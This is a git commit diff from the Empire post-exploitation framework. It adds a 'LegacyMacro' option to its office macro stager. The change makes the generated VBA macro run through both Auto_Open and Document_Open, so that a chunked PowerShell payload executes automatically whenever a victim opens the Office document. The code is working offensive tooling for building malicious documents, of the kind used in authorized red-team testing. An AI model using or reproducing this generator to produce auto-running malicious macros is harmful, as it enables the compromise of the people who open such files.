Merge pull request #63 from jamcut/legacy-option-for-macro-stager

Added "LegacyMacro" option for Office 97-2003 compatibility
1.6
enigma0x3 2015-10-21 12:39:09 -04:00
commit 5d8a64f75b
1 changed files with 5 additions and 2 deletions

View File

@ -9,7 +9,7 @@ class Stager:
'Author': ['@enigma0x3', '@harmj0y'],
'Description': ('Generates an office macro for Empire.'),
'Description': ('Generates an office macro for Empire, compatible with office 97-2003, and 2007 file types.'),
'Comments': [
'http://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/'
@ -79,7 +79,10 @@ class Stager:
for chunk in chunks[1:]:
payload += "\tstr = str + \"" + str(chunk) + "\"\n"
macro = "Sub Document_Open()\n"
macro = "Sub Auto_Open()\n"
macro += "\tDebugging\n"
macro += "End Sub\n\n"
macro += "Sub Document_Open()\n"
macro += "\tDebugging\n"
macro += "End Sub\n\n"